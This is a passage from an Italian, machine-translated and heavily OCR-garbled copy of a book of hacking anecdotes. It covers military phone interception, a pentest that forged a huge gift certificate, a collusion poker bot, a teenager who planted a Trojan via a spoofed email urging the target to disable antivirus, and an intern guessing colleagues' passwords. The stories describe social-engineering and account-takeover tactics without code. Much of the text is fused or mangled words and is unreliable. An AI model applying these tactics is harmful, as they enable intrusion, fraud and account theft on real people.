cazione con le loro truppe, girando invece a liteéefoniche interrate. Ancora,

gli Stati Uniti era proprio dietro di loro. L'esériracheno e stato affidamento su
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vecchio, linee telefoniche seriali di base, edagastina semplice questione di attingere a qualsiasi
di queste linee con un trasmettitore crittografatoltro tutto il traffico di
Intelligenza Army.

Relatori Farsi dell'esercito americano sono toraldtavoro, questa volta usando

gli stessi metodi che avevano usato in precedeezamerrompere la Comunita della radio
comunica-. E 'divertente immaginare l'espressiothgdto di qualche iracheno

maggiore o colonnello o generale come una voceamarriva in piena espansione lungo il
linea, "Ciao, questo & di nuovo Bravo Force 5. Ctuntevoi fare! "

E forse potrebbe aggiungere qualcosa come: "Gnhaacato per un po'

ed é bello essere di nuovo. "

A guesto punto, i comandanti iracheni avevano messomunicazione moderna

opzioni a sinistra. Hanno fatto ricorso alla sardti loro ordini e I'invio del

messaggi di carta attraverso i camion agli uffisclatampo, che hanno scritto il loro
risposte e inviato il camion sulla via del ritorattraverso il vapore, sabbia

deserto al quartier generale. Una singola queayrisposta potrebbe richiedere ore per

il round-trip. | comandi che hanno richiesto pidtari agire in coordinamento

nazione divenne quasi impossibile perché era dfisild ottenere il

ordini per ogni unita campo coinvolto in tempo fep di agire insieme.

Non esattamente un modo efficace per difenderega@dmapido movimento americano
forze.

Appena iniziata la guerra aerea, un gruppo diiglatunitensi & stato assegnato il
compito di cercare i camion che la spola messagmtae indietro

tra le posizioni note dei gruppi di campi irachaniir Force

iniziato il targeting questi camion di comunicazomdi bussare fuori

azione. Nel giro di pochi giorni, i conducenti in@ni sono stati rifiutano di portare il gio
saggi tra i leader in campo perché sapevano cha emarte certa.

Che farro una ripartizione quasi completa nellaacép del com- iracheno

Sistema di comando e controllo. Anche quando Com&ehtrale irachena ha potuto

per ottenere gli ordini radiofoniche attraversoainpo, i comandanti sul campo, Mike dice:
"Erano terrorizzati di queste comunicazioni persagevano che la

messaggi sono stati ascoltati dalla US Army e ssmebstati utilizzati per



inviare attacchi contro la loro posizione "- tapta che, rispondendo a

gli ordini, il comandante sul campo hanno rivelelbe era ancora vivo, e potrebbe
aspettiamo la sua risposta aveva permesso aglianead individuare la sua posizione.
Nel tentativo di risparmiare la propria vita, alewmita irachene campo disabilitati loro
rimanendo dispositivi di comunicazione in modo obe avrebbe dovuto sentire incom-
ing comunicazioni.

"In breve," Mike ricorda con gioia evidente, "l'es& iracheno

crollato nel caos e l'inattivita in molte delletaiperché nessuno era

in grado - o vuole -. comunicare "
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Per la maggior parte, il seguente viene direttampreso dalla nostra conversazione
con questo ex hacker, che & ormai una realta ddasa| sicurezza rispettato
consulente.
E 'tutto li, amico, é tutto li. "Perché rapinarerizhe, Mr.
Horton? »« Ecco dove sono i soldi. "
Ti dir0 una storia divertente. lo e questo ragakzrank dal
National Security Agency - non voglio nemmeno da&eo nome, ha ora
lavora per Microsoft. Abbiamo avuto un [penetrazat prova] impegno
con una ditta che produce buoni regalo digitalin8duori
di affari, non sono ancora intenzione di parlardato.
Allora, cosa stiamo andando dell'hacking? Siamorgoimcidere il crypto nel
buono regalo? No, [la crittografia] era come ecamzale, molto bene
fatto. E crittograficamente sicuro, sarebbe una perditaetnpo
provare.Cosi che cosa siamo gonna attacco?
Guardiamo a come un mercante riscatta un certiic@uesto € un
attacco insider perché abbiamo permesso di avemmertante
conto.Beh, troviamo una falla nel sistema di rimborsoa @applicazione
cazione difetto che ci ha dato I'esecuzione di gatharbitrari sul
scatola.E 'stato sciocche, infantili, abilitd speciali nessaria - basta
devo sapere cosa si sta cercando. 1o non sonopertesdi crittografia, non un
matematico. So solo come le persone commettono er@pplicazione
cationi e fanno gli stessi errori piu e piu volte.
Sulla stessa sottorete con il centro di rimborsaniio [a con-
collegamento a] la loro menta - la macchina chd tdono certificato
Cates. Abbiamo rotto in quella macchina con un @ppdi fiducia.Come
invece di solo ottenere un prompt di root, abbidatto un regalo
certificato - abbiamo coniato un certificato regaion 32 bit alti, e
impostare l'unita monetaria di dollari USA.



Ora ho un certificato di regalo del valore di 1,9liardi dollari. E la cer-

tificato era completamente valido. Qualcuno haaletie avriemmo dovuto impostare
di sterline inglesi, che sarebbero state piu baegipdollaro.

Cosi, siamo andati al sito web per il Gap e compat paio di calzini.
Teoricamente, abbiamo avuto un miliardo, 900 miliararrivo

cambiare da un paio di calzE. 'stato fantastico.

Volevo pinzare le calze al rapporto di prova penna.
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Ma non é stato fatto. Non gli piaceva il modo i ltai pensato il mosto storia
hanno suonato per noi, e lui ha continuato, n@éaanza di correggere l'impressione.
Forse mi suona come una rock star per voi, ma wiello che vedi € il percorso che ho
preso e si va, "Oh, mio Dio, guarda come intellige®. Lo ha fatto per
ottenere sulla scatola, e poi sulla scatola haatolun rapporto di fiducia,
e poi una volta li ha ottenuto sul menta e ha fatato un regalo
certificato. "
Si, ma sai quanto sia difficile che era verameieétato come,
"Beh, provate questo, ha fatto quel lavoro?" Nodren "Provate questo, fatto che
lavorare? "No vendita. Tentativi ed errori. E ‘'larosita, perseveranza e
fortuna cieca. E mescolare in un po 'di abilita.
lo in realta sono ancora quei calzini.
T
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Uno dei giocatori di poker cose si sentono abbastaituri di quando si € seduti
a un tavolo in un casino importante - se giocatieppipolazione di oggi
versione lar, Texas Hold 'Em, o qualche altra vaeia € che, sotto la
occhi attenti del concessionario, le sporgenzgdeto, e il tutto vede telecamera di video
epoche, possono contare sulla propria abilitatefier, e non preoccuparsi tanto che
alcuni degli altri giocatori potrebbero essere bara
In questi giorni, grazie a Internet, & possibildessi a un poker
Tavolo elettronicamente - giocare dalla comoditgpdeprio computer,
prezzo, dal vivo con giocatori seduti al loro congoun varie parti
del paese e del mondo.
E poi arriva un hacker che riconosce un modo per ska stesso
piu di un piccolo vantaggio, utilizzando un casgditbot - un robot - in
qguesto caso, uno elettronico. L'hacker, Ron, dieequesto ha coinvolto
"Scrittura di un bot che ha giocato 'matematicam@etrfetto’, mentre il poker online
fuorvianti gli avversari a pensare che stavanoajido contro un vero e proprio
giocatore umano. "Oltre a fare soldi su giochiudit giorni, € entrato il suo
bot in un certo numero di tornei con notevole sasoe"In un
quattro ore ‘libero-roll' (senza quota di iscrizdulel torneo che € iniziato con tre



centinaia di giocatori, il bot finito al secondospo. "

Le cose stavano andando grandi cannoni fino Rdatt@un errore di giudizio:

Ha deciso di offrire il bot per la vendita, conprezzo di 99 dollari I'anno per ogni
compratore. La gente comincio a sentir parlareadptto e la gente con la linea
sito di poker che aveva di mira si € preoccupatoptrebbero giocare

contro i giocatori robotici. "Cio ha causato uretalamore (e preoccupazione
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gestione del casino che avrebbero perso cliengi)laito ha aggiunto
codice per rilevare I'uso del mio bot e ha dett® afrebbe definitivamente divieto
chiunque catturati con esso. "
Tempo per un cambiamento di strategia.
Dopo aver invano tentato di fare un business deltamo- bot
logia in sé, ho deciso di prendere l'intero progedella metropolitanalo
modificato il bot di giocare in uno dei piu grarslti di poker online,
ed esteso la tecnologia in modo che possa svoigéraodalita di squadra,”
dove due o piu bot allo stesso quota tavola le taide nascoste
tra di loro per ottenere un vantaggio sleale.
Nella sua e-mail originale su questa avventura, iRqoticava che i suoi bot
erano ancora in uso. Piu tardi, ha scritto di nucivdhiede di dire quanto segue:
Dopo aver valutato il danno finanziario che derieebe a migliaia
sabbie di giocatori di poker online, Ron infine @decdi non usare mai
la sua tecnologia contro gli altri.
Ancora, i giocatori d'azzardo on-line, € necessaeicidere per voi stessi. Se Ron potesse
farlo, cosi puo altri. Si potrebbe essere megliteéando un aereo per Las Vegas.
.
HE
T
EENAGE
P
EDOPHILE
C
HASER
Il mio coautore e ho trovato questa storia avviteefinche se puo essere
vero solo in parte o, per quanto ne sappiamo,antente costituito, abbiamo deciso di
condividerlo essenzialmente il modo in cui é spagsentata:
Tutto € cominciato quando avevo circa 15 anni. Uo amico,
Adam, mi ha mostrato come posizionare telefonaa&uge dalla scuola
telefono pubblico, che si trovava al di fuori saldiglione dove
usato per mangiare a pranzo. Questa era la prinleavche avevo fatto nulla
neanche lontanamente illegale. Adam modellato ua#ejta in una sorta di
scheda telefonica libera, utilizzando la graffgbex forare l'auricolare del
portatile. Avrebbe quindi comporre il numero dietieino che voleva chiamare,
Tenendo premuto l'ultima cifra del numero e allessb tempo
toccare la graffetta al boccaglio. Quello che sefyuun
serie di scatti e poi suoneria. Ero intimorita. $dto il primo
volta nella mia vita in cui mi sono reso conto queasia potente la conoscenza potrebbe essere.
Ho subito cominciato a leggere tutto quello chepbtuto mettere le mani su.
Se fosse informazioni ombroso, ho dovuto farloubkato la graffetta



ingannare tutte le superiori finché il mio appetger vie scure
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seguita. Forse era per vedere fino a che puntotqui#sovata avenue
potrebbe andare. Che accoppiata con I'emozionardidualcosa di "cattivo" e
abbastanza per guidare ogni giovane di 15 annipdeik alla metropolitana.
Quello che segui dopo era la mia realizzazioneatls®no voluti piu di
solo la conoscenza di essere un hacker. Si dowsx@ guella cun- sociale
ning per eseguire la trappola.
Ho imparato di questi programmi chiamati Trojanratterso un on-line
amico che mi aveva caricare uno nel mio computetera fare
cose incredibili come vedere quello che stavo said, registrando il mio video
Flusso cam, e tutti i tipi di altre cose diverteriro in paradisolo
studiato tutto quello che potevo su questo Trojaa éiziato I'imballaggio
in eseguibili popolari. Vorrei andare in chat e care di
arrivare qualcuno a scaricare uno, ma la fiduciatato un problema. Nessuno
me fiducia, e con buona ragione.
Sono andato in un adolescente casuale chat edreelho
lo trovo: un pedofilo &€ venuto in cerca di immaginbambini piccoli
e gli anni dell'adolescenza. In un primo momentgénsato che fosse uno scherzo, ma ho deciso
di giocare
lungo e vedere se potevo fare una vittima di questaona.
Ho cominciato a parlare in privato con lui in posame una giovane ragazza che aveva
ogni intenzione di incontrarlo una giornata - mamibmodo in cui
penso.Questo signore era malato per non dire altro. Ibrab-year-old
istinti voluto fare giustizia mondo. Volevo bru@ajuesto ragazzo
cosi male che ci avrebbe pensato due volte prinpeesita per i bambini di nuovblo provato
in molte occasioni di mandargli il Trojan, ma luiaepiu intelligente
di me. Aveva installato software anti-virus cheb@ccato la mia
ogni tentativo. La cosa divertente e che non hasuoapettato di me
essere dannoso. Penso che forse il mio computer era
infettato e si € connessi alle foto che ho tendato
inviare.Ho appena giocato muto.
Dopo alcuni giorni di chat, egli comincio a pushiéoleva
immagini sporche di me e mi ha detto che mi amax@eva incontrare
me.Era un sacco di merda di prima classe e solo ishgfio perfetto per bruciare
senza rimorsi, se solo potessi entrare. Avevo faeabbastanza mazioni
mazioni su di lui per ottenere I'accesso ad al@giisuoi account di posta elettronic&oi
conoscere quelle domande segrete che ti chiedoQaale il tuo preferito
colore? " Qual é il nome da nubile di tua madrefuitto quello che dovevo fare era
pescare queste informazioni da lui e voila ero in.
La roba era fino a era altamente illegale. Diciasmo che un sacco di
pornografia con bambini di varie eta. Ero disgustat
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Poi mi sono reso cont&e lui non avrebbe accettato il Trojan da me
forse avrebbe accettato da uno dei suoi amici porcontraffatto



un indirizzo email e ha scritto un breve messaggio.

Scopri questo video hot. Disattivare il programmavérus

prima di scaricarlo perché viti la qualita.

PS mi devi.

Ho pensato di sicuro che stava per prendere piede aspettato con pazienza
tutto il pomeriggio per lui per controllare I'e-maiAvevo rinunciato. Non ero
significato per questo [ingegneria sociale] roba.

Poi verso le 23:00 quella sera e successo. Ho utell messaggio

innescato da mio Trojan per dirmi che aveva installsulla sua macchina.
Avevo fatto!

Ho guadagnato I'accesso e subito iniziato a coplangrova in un

cartella [Ho creato sul suo computer]; Ho chiamdtqlailbait" |

imparato tutti i tipi di informazioni su questo razgo. |l suo nome,

indirizzo, dove ha lavorato, e anche quali documera di lavoro

zione all'ora.

Non potevo chiamare I'FBI o la polizia locale [pkeéero

paura solo conoscere il materiale sul computer lal@mo]

mi avrebbe finire in prigione, e avevo paura. Dapopo 'Colpendo

e incitamento ho imparato che era sposato e avgliaQuesto

era orribile.

Ho fatto I'unica cosa che sapevo fare. Ho mandatmbglie una mail con tutti i
le informazioni di cui aveva bisogno per acceddrilajailbait. Poi ho coper-
Ered mie tracce e scaricato il Trojan.

Questo e stato il mio primo assaggio di sfruttaroerdn solo il codice, ma emozionale
zioni per ottenere qualcosa. Una volta ho avutoesso, mi sono reso conto che non era
tutto é stato tagliato fuori per essere. E 'necdssaiu di una semplice conoscenza,
richiesta astuzia, la menzogna, la manipolaziomedlaro lavoro.Ma

valeva ogni grammo di energia per bruciare quellmge. Mi sentivo come un
re a 15. E non poteva dire una sola anima.

Ma vorrei che avrei mai visto le cose che ho fatto.

...La
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E 'chiaro da molte delle storie in questo libro Ehenaggior parte degli hacker prendono
anni in via di sviluppo le proprie conoscenze. Gashbra sempre notevole per me
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quando faccio funzionare attraverso un exploitwoige hacker tipo pensiero svolta



da qualcuno senza sfondo in pirateria. Questo éluqoelli.

Al momento di questo incidente, John era all'urgit@raureando senior

Informatica, e ha trovato una posizione di stagisésso un locale e elettrico

societa del gas in modo che al momento della laavezbbe avuto non solo una laurea, ma
una certa esperienza. La societa lo mise a lavessguendo Lotus

Note gli aggiornamenti per i dipendenti. Ogni vdiachiamato qualcuno per impostare
un appuntamento, lui li chiede la password di LdNoges in modo

poteva eseguire l'aggiornamento. Le persone nomchesitato a fornire

le informazioni.

A volte, pero, si sarebbe trovato a giocare tagetega telefonica e

finire con un appuntamento programmato, ma nesgossibilita di chiedere il

password anticipo. Sai cosa sta per succederecapita che per

se stesso: "Ho trovato che I'80 per cento dellegrex non ha mai cambiato il loro
password quando Notes era stato installato sukiorsfstema, quindi il mio primo

provare era 'passaggio’ ".

Se questo non e riuscito, John avrebbe derivanatoubicolo della persona e fare una
poco look-vedere per un post-it con tutte le lomsgword, in genere bloccato

proprio in bella vista sul monitor, oppure nasc{st questo € un appro-

ate word) sotto la tastiera o nel loro cassetto.

E, se questo approccio ancora lo ha lasciato a wate, aveva un altro

carta da giocare. "La mia ultima linea di attadawva studiando gli oggetti personali di

il loro cubicolo. Qualsiasi cosa che darebbe uizingper bambini nomi, animali domestici,
hobby, e simili. "Diverse ipotesi era il piu dellelte e bastato.

Una volta, pero, era piu difficile del solito. "Ritlo ancora uno

la password della donna mi stava dando un momeffimle fino a quando ho notato che ogni
picture aveva una moto in esso. "Su un intuizitecercato” harley ". . . e

ottenuto in.

Solleticato dal successo, ha iniziato a tenereigiatHo fatto un gioco di esso

e ottenuto in oltre il 90 per cento del tempo, si@gao meno di dieci min-

sce su ognuno. Quelli che mi sfuggiva generalmsinigelo essere sem-

Informazioni ple che ho potuto trovare con la rigepiu profonda - piu

spesso, i compleanni dei bambini. "

Si é rivelato essere uno stage redditizia, quéléa'oon solo ha fornito

me con alcuni foraggi curriculum, ma anche mi lsegnato come la nostra prima linea di
difesa contro gli hacker e anche la nostra piu elgli utenti stessi e

le loro scelte di password. "

E che sembra un messaggio forte per finire conutie computer

utente dovesse migliorare la sua password stagarantlasciare nuovi

L'arte dell'intrusione
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password in alcuni facili da trovare posto - pam@mi mattina, abbiamo
sarebbe improvvisamente ritrovarci a vivere in wondo molto piu sicuro.
Speriamo che sara un messaggio d'azione per dgpeleli questo libro.
N
OTES
1. CNet News.com, "Lost World, LAPD: Hacks o Hogkd Janet Kornblum 30 maggio 1997.
2. CNet News.com, "The Ten piu sovversiva HacksMailt Lago, 27 ottobre 1999.
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